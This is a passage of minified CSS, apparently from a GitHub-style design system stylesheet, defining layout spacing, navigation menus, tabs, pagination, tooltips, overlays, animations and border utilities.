16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px 